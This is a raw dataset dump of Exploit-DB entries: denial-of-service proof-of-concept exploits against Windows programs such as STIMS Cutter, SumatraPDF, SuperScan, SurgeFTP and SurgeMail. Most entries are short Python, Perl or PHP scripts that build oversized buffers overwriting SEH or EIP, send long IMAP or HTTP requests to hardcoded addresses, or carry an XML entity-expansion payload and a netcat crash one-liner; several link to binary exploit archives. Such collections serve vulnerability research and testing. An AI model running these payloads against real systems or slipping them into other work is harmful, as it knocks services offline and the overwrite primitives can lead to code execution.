deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39472
Description: STIMS Cutter 1.1.3.20 - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2016-02-19
Author: Shantanu Khandelwal

Exploit:
# Exploit Title: STIMS CUTTER OVERFLOW SEH OVERWRITE
# Date: 19 Feb 2016
# Exploit Author: Shantanu Khandelwal <shantanu561993@gmail.com
<ishitasailor@gmail.com>>
# Vendor Homepage: http://www.stimslabs.com/
# Software Link: http://www.stimslabs.com/en/cutter/STIMSCutterEnSetup.exe
# Version: 1.1.3.20
# Tested on: Windows XP SP3
# CVE : UNKNOWN
# ==============HOW TO CRASH ==================
#make the cutt file and open it it the STIMS Cutter application.
#Click on Build Report
#===========================================
#Problems in exploitation
#Unable to find suitable SEH pointer
#


#!/usr/bin/env python
f=open("crash.cutt","w")

payload = """<!--block:#solution-->
[solution]
name="""
payload+="A"*8452
payload +="BBBB" #SEH overwrite
payload +="""CCCC
desc=A
time=0
version=1
file=C:\Documents and Settings\IEUser\Desktop\ABC.cutt
time.created=[PII_REDACTED]2810000
app=1.1.3
projects=1
<!--#solution:block-->
<!--block:A-->
[properties]
optimize=0
level=0
diversity=0
status=0
active=1
remnants=0
sort=0
version=1
desc=S
comment=
comment.active=0
notes=
notes.active=0
material=A
progress=100
calculation=0D99FF12
cost=222.000
time.gone=0
time.date=2016 Feb 18 23.29.14
payload=2
file=C:\Documents and Settings\IEUser\Desktop\ABC.cutt
app=1.1.3

[order.blanks]
b001={ "uid": "908113387", "material": "A", "length": "222", "quantity":
"1", "knife": "1", "indent": "11", "cost": "1.0", "comment": "1", "id":
"1", "name": "a" }

[order.pieces]
p001={ "uid": "124270241", "material": "A", "length": "111", "quantity":
"1", "label": "1", "comment": "1", "id": "1", "name": "a", "orphans": "0" }

[layout.summary]
summary={ "output": "112.000", "used.len": "222.000", "used": "1",
"pieces": "1", "cmu": "50.450", "waste": "49.550", "shifts": "1",
"remnants": "0.000", "srest": "110.000", "cost": "222.000", "cost.ppu":
"1.982", "brest": "110.0", "status": "", "type": "summary", "time.gone":
"0", "time.date": "2016 Feb 18 23.29.14" }
blank01={ "name": "a", "cost": "1.000000", "blank": "1", "used": "1",
"pieces": "1", "cmu": "50.450", "waste": "49.550", "shifts": "1", "output":
"112.000", "used.len": "222.000", "cost.sum": "222.000", "cost.ppu":
"1.982", "remnants": "0.000" }

[layout.cuttings]
c001={ "signature": "1#a1-", "copies": "1", "remains": "110", "blank": "1",
"shifts": "1", "output": "#1 1", "layout": "111" }

[layout.cuttings.parts]
c001={ "signature": "1#a1-", "copies": "1", "remains": "110", "blank": "1",
"shifts": "1", "output": "#1 1", "layout": "111", "name": "1" }
<!--A:block-->
"""

f.write(payload)
f.close()
Exploit-DB #9189
Description: Streaming Audio Player 0.9 - 'skin' Local Stack Overflow (PoC) (SEH)
Type: dos
Platform: windows
Date: 2009-07-17
Author: ThE g0bL!N

Exploit:
#Streaming Audio Player 0.9 (txt) Local Stack Overflow PoC (Seh)
#By: ThE g0bL!N
my $crash="\x41" x 5000 ; # just random
open(myfile,'>>UI.txt')
print myfile $crash;
# Usage: After Clicking On file Perl Copy TXT File on this Diredtory
skin\default\ Then Run The Program Boom !!!!!!! the Program Crashed
# Note : The Bug is Seh  :) 

# milw0rm.com [2009-07-17]
Exploit-DB #5472
Description: SubEdit Player build 4066 - subtitle Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-04-19
Author: grzdyl

Exploit:
/===Subedit Player build 4066 subtitle BoF vulnerability=========|
|
| SubEdit Player is a very popular player and subtitles    
| editor in Poland. It does not perform any boundery checks         
| on supplied subtitles. This causes buffer overrun and
| throwing access violation exception on group of instructions:
|
|
| 005F7C1E  |. 8902           MOV DWORD PTR DS:[EDX],EAX
| 005F7C20  |. 8950 04        MOV DWORD PTR DS:[EAX+4],EDX
|    
| I thought in first moment that this is heap overflow, but
| why does these instructions appear in subedit module? And
| why on my winxp sp2 computer this is possible? So, I think
| that this program has own kind of dynamically list structure
| and I am able to overwrite its pointers.
|
| Ok so, I am controling EAX and EDX registers. In this
| situation I am able to use technique described by c0ntex
| ( thx mate! ) to overwrite a pointer to RtlEnterCriticalSection
| in PEB structure of ntdll. Thanks to this (after about 30
| access violations when writing - exceptions handlers throw
| exceptions handlers)
| I get:
|
|   
|  {Access violation when executing [42424242]}
|                                 
|  -Tested on Windows Xp sp2 fully patched.
|  -Greatz to: mewo
|
|  -Bug discovered by grzdyl         
|
\=================================================================|
       
POC:

#!/usr/bin/python

sub = "{4143}{4200}"
sub += "B" * 4098
sub += "\x20\xf0\xfd\x7f"
sub += "A" * 398

fd = open("thematrix.txt", "w")
fd.write(sub)
fd.close()

print "FILE CREATED\nHAVE FUN!"

# milw0rm.com [2008-04-19]
Exploit-DB #13965
Description: Subtitle Translation Wizard 3.0.0 - Overflow (SEH) (PoC)
Type: dos
Platform: windows
Date: 2010-06-22
Author: blake

Exploit:
#!/usr/bin/python

# Exploit Title: Subtitle Translation Wizard v3.0.0 SEH POC
# Date: Jun 21, 2010
# Author: Blake
# Software Link: http://www.upredsun.com/subtitle-translation/download/st-wizard-setup.exe
# Version: 3.0.0
# Tested on: Windows Vista running in VirtualBox

# SEH is overwritten but only unicode compatible pop pop ret addresses are in st-wizard.exe (SafeSEH).

print "\n======================================"
print " Subtitle Translation Wizard v3.0.0 DoS "
print " Discovered by Blake "
print "======================================\n"

buffer = "\x41" * 10000

print "[+] Creating malicious srt file"
try:
     file = open("poc.srt","w")
     file.write("1\n" + "00:01:48,549 --> 00:01:50,404\n" + buffer)
     file.close()
     print "[+] File created"
except:
     print "[x] Could not create file"

raw_input("\nPress any key to exit...\n")
Exploit-DB #13872
Description: SumatraPDF 1.1 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-06-14
Author: Matthew Bergin

Exploit:
# Exploit Title: SumatraPDF v1.1 Denial-of-Service
# Date: June, 14, 2010
# Author: Matthew Bergin
# Software Link: blog.kowalczyk.info/software/sumatrapdf
# Version: 1.1
# Tested on: Windows XP Home SP3

Code was generated utilizing a custom fuzzer, PoC creates an Access Violation when writing to memory.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13872.pdf (SumatraPDF1.1DOS.pdf)
Exploit-DB #18771
Description: SumatraPDF 2.0.1 - '.chm' / '.mobi' Memory Corruption
Type: dos
Platform: windows
Date: 2012-04-23
Author: shinnai

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

=============================================================================
=============================================================================
 SumatraPDF v2.0.1 chm and mobi files memory corruption

 Author: shinnai
 mail:   shinnai[at]autistici[dot]org
 site:   http://shinnai.altervista.org/

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on:
 Microsoft Windows 7 Professional 
 6.1.7601 Service Pack 1 build 7601

 Info:
 PoC released as is, I have no time at the moment for further investigations
=============================================================================
=============================================================================

 Proof of concept:

http://shinnai.altervista.org/exploits/sumatra.rar
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18771.rar

=============================================================================
=============================================================================
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (MingW32)

iQIcBAEBAgAGBQJPlP/0AAoJEJlK/ai8vywmZAMP/RGuHEXp0wa1VGI1sNrGUg98
7WifnPAeQfLmYkEYY/kugvz+Sba/yG2zJZCg+t5DBgANCVe54PHfkudqUVSmtM/l
DbZpSbcYX4IGKDt7hY1C7AT5buhRxJS1H4qE6HDE0vC8Lo3ZEwj1f6ArXwvPGL3W
kOp9CKL8W/6dL1FTTyyEfsCi52XmyoG5rP40xqzrW++m1PEZVt/kGtv+cS0Rl2Mq
sWkFqEJn0DhZj0XZyIm8mNcZofR4a6LBLWK9JwOQcgXbva1mkdM1+sOX9sd82WLJ
t6uZKXJ7jV5BfsajnNmupHE/RWgxu4fSYEnyIJqYljlBGjxbVSzDVB3qRq9rTEz4
hiWHVv1/QIup8OtpV5CUjwPt55mQGHkfBoXcIa26dIHGb4CKeuxX7sMBA7Ip8XR4
l7Ku9YXjGZMmNbc8NfsB4Td/H5teAR1cR1j9lWvAEnQe7vDnjq5EdHyNLGmtg4Z3
9Ky9YYA2ZH/QgFNAXv4U6drZ4YISRqWKS7u3Wyvwv3o8+yNWZ3UUIiRpm7MAkWQa
Y7E4WBoMmMkexYn/iqarbBDDe5lIU8z+9H538u/JhiJfCYoCCKW5ga1MA+64vLCj
8SnMpqB0hupl0LLCXTXapGfefOsm9gkEm31oC9U8Bsi0O4zWF6+Q7EipPLd9AkjC
hfANp4pmPDJGnYkagOxx
=q6Gx
-----END PGP SIGNATURE-----
Exploit-DB #23165
Description: Sun Java 1.x - XML Document Nested Entity Denial of Service
Type: dos
Platform: windows
Date: 2003-09-22
Author: Sun Microsystems

Exploit:
source: https://www.securityfocus.com/bid/8666/info

A problem has been identified in Sun Java when handling XML documents with specific constructs. Because of this, an attacker with the ability to cause the software to parse malicious XML documents may have the ability to crash a system hosting Sun Java. 

<?xml version="1.0" encoding ="UTF-8"?> <!DOCTYPE foobar[ <!ENTITY x100 "foobar"> <!ENTITY x99 "&x100;&x100;"> <!ENTITY x98 "&x99;&x99;"> ... <!ENTITY x2 "&x3;&x3;"> <!ENTITY x1 "&x2;&x2;"> ]><SOAP-ENV:Envelope xmlns:SOAP-ENV=...><SOAP-ENV:Body><ns1:aaa xmlns:ns1="urn:aaa" SOAP-ENV:encodingStyle="..."><foobar xsi:type="xsd:string">&x1;</foobar></ns1:aaa></SOAP-ENV:Body></SOAP-ENV:Envelope>
Exploit-DB #14236
Description: Sun Java Web Server 7.0 u7 - Admin Interface Denial of Service
Type: dos
Platform: windows
Date: 2010-07-06
Author: muts

Exploit:
# Sun Java Web Sever 7.0 u7 Admin Interface DOS

# Software Package sjsws-7_0u7-windows-i586.zip 4fb8d1fb700d5649234a2891a4ecedea
# While attempting to verify http://www.exploit-db.com/exploits/14194/ (which was not verified),
# I stumbled across this semi amusing DOS:

root@bt:~# nc -nv 192.168.48.134 8800
(UNKNOWN) [192.168.48.134] 8800 (?) open
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Tue, 06 Jul 2010 00:22:50 GMT
Content-type: text/html
Last-modified: Tue, 06 Jul 2010 00:18:00 GMT
Content-length: 465
Etag: "1d1-4c327638"
Accept-ranges: bytes
Connection: close

root@bt:~# echo { |nc -nv 192.168.48.134 8800
(UNKNOWN) [192.168.48.134] 8800 (?) open
root@bt:~# echo { |nc -nv 192.168.48.134 8800
(UNKNOWN) [192.168.48.134] 8800 (?) : Connection refused
root@bt:~#
Exploit-DB #38758
Description: SuperScan 4.1 - Scan Hostname/IP Field Buffer Overflow
Type: dos
Platform: windows
Date: 2015-11-19
Author: Luis Martínez

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title     : SuperScan 4.1 Scan Hostname/IP Field Buffer Overflow Crash PoC
# Discovery by      : Luis Martínez
# Email		    : l4m5@hotmail.com
# Discovery Date    : 18/11/2015
# Vendor Homepage   : http://www.foundstone.com
# Software Link     : http://www.mcafee.com/us/downloads/free-tools/superscan.aspx
# Tested Version    : 4.1
# Vulnerability Type    : Denial of Service (DoS) Local
# Tested on OS      : Windows XP Professional SP3 x86 es
# Steps to Produce the Crash: 
# 1.- Run python code : python super_scan_4.1.py
# 2.- Open super_scan_4.1.txt and copy content to clipboard
# 3.- Open SuperScan4.1.exe
# 4.- Paste Clipboard Scan > Hostname/IP
# 5.- Clic on add button (->)
# 6.- Crashed

buffer = "\x41" * 636
eip = "\x42" * 4

f = open ("super_scan_4.1.txt", "w")
f.write(buffer + eip)
f.close()
Exploit-DB #38759
Description: SuperScan 4.1 - Tools Hostname/IP/URL Field Buffer Overflow
Type: dos
Platform: windows
Date: 2015-11-19
Author: Luis Martínez

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title     : SuperScan 4.1 Tools Hostname/IP/URL Field Buffer Overflow Crash PoC
# Discovery by      : Luis Martínez
# Email		    : l4m5@hotmail.com
# Discovery Date    : 18/11/2015
# Vendor Homepage   : http://www.foundstone.com
# Software Link     : http://www.mcafee.com/us/downloads/free-tools/superscan.aspx
# Tested Version    : 4.1
# Vulnerability Type    : Denial of Service (DoS) Local
# Tested on OS      : Windows XP Professional SP3 x86 es
# Steps to Produce the Crash: 
# 1.- Run python code : python super_scan_4.1_tools.py
# 2.- Open super_scan_4.1_tools.txt and copy content to clipboard
# 3.- Open SuperScan4.1.exe
# 4.- Paste Clipboard Tools > Hostname/IP/URL
# 5.- Clic on button -> Whois
# 6.- Crashed

buffer = "\x41" * 280
eip = "\x42" * 4

f = open ("super_scan_4.1_tools.txt", "w")
f.write(buffer + eip)
f.close()
Exploit-DB #38760
Description: SuperScan 4.1 - Windows Enumeration Hostname/IP/URL Field Overflow (SEH)
Type: dos
Platform: windows
Date: 2015-11-19
Author: Luis Martínez

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title     : SuperScan 4.1 Windows Enumeration Hostname/IP/URL Field SEH Overflow Crash PoC
# Discovery by      : Luis Martínez
# Email		    : l4m5@hotmail.com
# Discovery Date    : 18/11/2015
# Vendor Homepage   : http://www.foundstone.com
# Software Link     : http://www.mcafee.com/us/downloads/free-tools/superscan.aspx
# Tested Version    : 4.1
# Vulnerability Type    : Denial of Service (DoS) Local
# Tested on OS      : Windows XP Professional SP3 x86 es
# Steps to Produce the Crash: 
# 1.- Run python code : python super_scan_4.1_windows_enumeration.py
# 2.- Open super_scan_4.1_windows_enumeration.txt and copy content to clipboard
# 3.- Open SuperScan4.1.exe
# 4.- Paste Clipboard Windows Enumeration > Hostname/IP/URL
# 5.- Clic on button -> Enumerate
# 6.- Crashed
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
# After the execution of POC, the SEH chain looks like this: 
# 00E3FF98 43434343
# 42424242 *** CORRUPT ENTRY ***
  
# And the Stack
  
#00E3FF88   41414141  AAAA
#00E3FF8C   41414141  AAAA
#00E3FF90   41414141  AAAA
#00E3FF94   41414141  AAAA
#00E3FF98   42424242  BBBB  Pointer to next SEH record
#00E3FF9C   43434343  CCCC  SE handler

# And the Registers
  
#EAX 00000001
#ECX 00000001
#EDX 7C91E514 ntdll.KiFastSystemCallRet
#EBX 00A028E8
#ESP 00E3FF58 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC"
#EBP 41414141
#ESI 00473774 SuperSca.00473774
#EDI 00000000
#EIP 41414141

buffer = "\x41" * 328
nseh = "\x42" * 4
seh = "\x43" * 4

f = open ("super_scan_4.1_windows_enumeration.txt", "w")
f.write(buffer + nseh + seh)
f.close()
Exploit-DB #42040
Description: Sure Thing Disc Labeler 6.2.138.0 - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-05-19
Author: Chance Johnson

Exploit:
# Exploit Title: Sure Thing Disc Labeler - Stack Buffer Overflow (PoC)
# Date: 5-19-17
# Exploit Author: Chance Johnson  (albatross@loftwing.net)
# Vendor Homepage: http://www.surething.com/
# Software Link: http://www.surething.com/disclabeler
# Version: 6.2.138.0
# Tested on: Windows 7 x64 / Windows 10
#
# Usage: 
#    Open the project template generated by this script.
#    If a readable address is placed in AVread, no exception will be thrown
#    and a return pointer will be overwritten giving control over EIP when
#    the function returns.

header  = '\x4D\x56\x00\xFF\x0C\x00\x12\x00\x32\x41\x61\x33\x08\x00\x5E\x00'
header += '\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38\x41\x61\x39\x41\x62'
header += '\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35'
header += '\x41\x62\x36\x41\x78\x37\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41'
header += '\x0C\x00\x41\x63\x78\x1F\x00\x00\x41\x63\x34\x41\x63\x35\x41\x63'

junk1  =   'D'*10968
EIP    =   'A'*4            # Direct RET overwrite
junk2  =   'D'*24
AVread =   'B'*4  			# address of any readable memory
junk3  =   'D'*105693

buf = header + junk1 + EIP + junk2 + AVread + junk3

print "[+] Creating file with %d bytes..." % len(buf)

f=open("exp.std",'wb')
f.write(buf)
f.close()
Exploit-DB #23480
Description: Surfboard HTTPd 1.1.9 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2003-12-26
Author: decka trash

Exploit:
source: https://www.securityfocus.com/bid/9299/info

It has been reported that Surfboard httpd is prone to a remote buffer overflow condition that may allow an attacker to gain unauthorized access to a system running the vulnerable software. The issue presents itself when an attacker sends a specially crafted URL request with more than 1024 characters to the server daemon.

Surfboard version 1.1.9 has been reported to be prone to this issue, however, other versions may be affected as well. 

GET /AAAAAAAAAAAA..x1024++ HTTP/1.1\r\n\r\n
Exploit-DB #23512
Description: Surfnet 1.31 - CMD_CREDITCARD_CHARGE Denial of Service
Type: dos
Platform: windows
Date: 2004-01-02
Author: Rift_XT

Exploit:
source: https://www.securityfocus.com/bid/9348/info

Surfnet is prone to a denial of service vulnerability via the CMD_CREDITCARD_CHARGE command. By issuing this command with malformed arguments, it is possible to crash the software. When the software crashes, it will drop the kiosk user into the underlying operating system. 

C:\Surfnet\WWWRoot\CMD_CREDITCARD_CHARGE:Charge=20
Exploit-DB #47795
Description: SurfOffline Professional 2.2.0.103 - 'Project Name' Denial of Service (SEH)
Type: dos
Platform: windows
Date: 2019-12-19
Author: Chris Inzinga

Exploit:
# Exploit Title: SurfOffline Professional 2.2.0.103 - 'Project Name' Denial of Service (SEH)
# Date: 2019-12-18
# Exploit Author: Chris Inzinga
# Vendor Homepage: http://www.bimesoft.com/
# Software Link: https://www.softpedia.com/get/Internet/Offline-Browsers/SurfOffline.shtml
# Version: 2.2.0.103
# Tested on: Windows 7 SP1 (x86)

# Steps to reproduce:
# 1. Generate a malicious payload via the PoC
# 2. In the application set the 'Start Page URL' to any value, it doesn't matter.
# 3. Paste the PoC payload as the 'Project Name' and click 'next' and 'finish'.
# 4. Observe a program DOS crash, overwriting SEH=20

#!/usr/bin/python

payload =3D "A" * 382 + "B" * 4 + "C" * 4

try:
    fileCreate =3Dopen("exploit.txt","w")
    print("[x] Creating file")
    fileCreate.write(payload)
    fileCreate.close()
    print("[x] File created")
except:
    print("[!] File failed to be created")
Exploit-DB #31302
Description: SurgeFTP 2.3a2 - 'Content-Length' Null Pointer Denial of Service
Type: dos
Platform: windows
Date: 2008-02-25
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27993/info

SurgeFTP is prone to a remote denial-of-service vulnerability because it fails to perform adequately boundary checks on user-supplied input.

Exploiting this issue will cause the server to copy data to a NULL pointer, which will crash the server, denying access to legitimate users.

SurgeFTP 2.3a2 is vulnerable; other versions may also be affected.

GET / HTTP/1.0
Content-Length:[PII_REDACTED]

boom
Exploit-DB #31301
Description: Surgemail 3.0 - Real CGI executables Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2008-02-25
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27992/info

SurgeMail is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input.

Successfully exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the affected service. Failed exploit attempts likely result in denial-of-service conditions.

SurgeMail 38k4 and prior versions are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31301.zip
Exploit-DB #31464
Description: Surgemail 3.8 - IMAP LSUB Command Remote Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2008-03-21
Author: Leon Juranic

Exploit:
source: https://www.securityfocus.com/bid/28377/info

SurgeMail is prone to a remote stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input.

Successfully exploiting this issue may allow remote attackers to execute arbitrary machine code in the context of the affected service. Failed exploit attempts will likely result in denial-of-service conditions.

SurgeMail 3.8k4 is vulnerable; other versions may also be affected.

#
#
#       Surgemail stack overflow PoC exploit - latest version
#	Coded by Leon Juranic <leon.juranic@infigo.hr>
#	http://www.infigo.hr/en/
#

use IO::Socket;


$host = "192.168.0.15";
$user = "test";
$pass = "test";
$str = "//AA:";

$sock = IO::Socket::INET->new(PeerAddr => $host,
        PeerPort => "143",
        Proto    => "tcp") || die ("Cannot connect!!!\n");



        print $a = <$sock>;
        print $sock "a001 LOGIN $user $pass\r\n";
        print $a = <$sock>;
        print $sock "a002 LSUB " . $str x 12000 . " " . $str x 21000 . "\r\n";
        print $a = <$sock>;
Exploit-DB #4748
Description: Surgemail 38k4 - webmail Host header Denial of Service
Type: dos
Platform: windows
Date: 2007-12-18
Author: rgod

Exploit:
<?php
/*
  SurgeMail v.38k4 webmail Host header denial of service exploit
  tested against the windows version

  rgod
*/

dl("php_curl.so");
$url = "http://192.168.0.1";
$puf=str_repeat(0xff,0xfff);

        $header ="POST / HTTP/1.0\r\n";
        $header.="Host: $puf\r\n";
        $header.="Connection: Close\r\n\r\n";
      
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);

        $data = curl_exec($ch); if (curl_errno($ch)) {
           print curl_error($ch)."\n";
        } else {
           curl_close($ch);
        }

?>

# milw0rm.com [2007-12-18]
Exploit-DB #5968
Description: Surgemail 39e-1 - (Authenticated) IMAP Remote Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2008-06-30
Author: Travis Warren

Exploit:
#!/usr/bin/python
#
# Surgemail version 39e-1 - (0day) Post Auth IMAP Buffer overflow DoS.
# Discovered by: Travis Warren
# 
# The IMAP service contains a buffer overflow in the APPEND command. 
# 
#


import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = '\x41' * 3000

s.connect(('192.168.0.103',143))
s.recv(1024)
s.send('A001 LOGIN user@test.com user ' + buffer + '\r\n')
s.recv(1024)
s.send('A001 APPEND ' + buffer + '\r\n')
s.recv(1024)
s.close()

# milw0rm.com [2008-06-30]
Exploit-DB #31300
Description: Surgemail and WebMail 3.0 - 'Page' Remote Format String
Type: dos
Platform: windows
Date: 2008-02-25
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27990/info

SurgeMail and WebMail are prone to a remote format-string vulnerability because the applications fail to properly sanitize user-supplied input before including it in the format-specifier argument of a formatted-printing function.

A remote attacker may execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial of service.

This issue affects the following:

SurgeMail 38k4, beta 39a and earlier
Netwin WebMail 3.1s and earlier 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31301.zip